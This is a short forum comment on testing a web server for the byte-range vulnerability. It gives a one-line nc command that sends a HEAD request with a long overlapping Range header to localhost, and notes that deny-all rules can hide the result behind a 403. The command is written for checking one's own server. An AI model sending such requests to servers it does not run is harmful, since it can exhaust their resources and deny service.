Comment Re:test your vulnerability (Score 1) 82
eg: echo -en "HEAD / HTTP/1.1\r\nHost:www.mydomainname.com\r\nRange:bytes=0-,$(perl -e 'for ($i=1;$i<1300;$i++) { print "5-$i,"; }')5-1300\r\nAccept-Encoding:gzip\r\nConnection:close\r\n\r\n" | nc localhost 80
A couple of my servers have Limit options set with a deny from all to the base htdocs folder, therefore only allowing virtual hosts to supply content and not the base host itself.
Sending 'localhost' as the header would return a 403 Forbidden with no mention of the Content-Length at all, even though the server was vulnerable.